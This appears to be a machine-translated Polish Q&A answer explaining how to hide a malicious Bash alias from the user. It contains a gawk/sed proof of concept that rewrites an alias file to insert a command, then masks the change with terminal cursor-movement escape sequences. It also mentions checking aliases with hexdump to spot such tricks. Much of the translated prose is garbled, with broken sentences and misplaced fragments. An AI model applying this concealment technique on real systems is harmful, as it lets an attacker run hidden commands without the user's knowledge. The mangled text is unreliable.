Czy można ukryć istnienie złośliwego aliasu w systemie Bash w systemie Linux i uruchomić go bez wiedzy użytkownika?
9
Można to zrobić, dodając istniejący alias do złośliwego i używając ruchu kursora, aby go ukryć, jeśli alias
polecenie jest używane do wyświetlania definicji aliasów. Nie jest to w pełni niezawodna metoda, ale przez jakiś czas może pozostać niewykryta. Przesuwanie alias
przez hd
pokazuje, czy w aliasach są jakieś sekwencje specjalne (ruchy kursora). Oto dowód koncepcji, w jaki sposób złośliwe polecenie może zostać wstawione do aliasu:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
modyfikuje polecenie plik o nazwie „aliasów” na swoim miejscu - prawdziwy scenariusz tego typu pójdzie za gardło i modyfikować prawdziwy skrypt tak złośliwy alias zostanie uaktywniona następnym razem to wykonane.hide
argumentu, więc możliwe jest, że możesz otrzymać błąd podobny do tego zgłoszonego w tym pytaniu . Może być możliwe odwrócenie oryginalnej i złośliwej części, aby na to wpłynąć, chociaż zakłóciłoby to przekazywanie argumentów do aliasu. W powyższym skrypcie podjęto próbę oznaczenia końca argumentu za pomocą --
.&&
, można jedna rura do następnego i dokonać złośliwy skrypt (przedstawioną powyżej, przez proste echo
polecenia) funkcjonować jako stdin
do stdout
pass-through albo zmodyfikować dane, jak to się dzieje w poprzek lub ukryć jego istnienie ponadto, nie zakłócając innych przekierowańhide
Ciąg może być zmodyfikowany tak, aby obejmować inny ruch kursora i teksty oryginalne alias więc alias
polecenie wydaje się pokazać niemodyfikowanych alias zamiast ukrywając go wraz ze złośliwym części.. aliases
. Następnie możesz spróbować użyć dotkniętego aliasu i zobaczyć, jak to będzie wyglądać alias|hd
.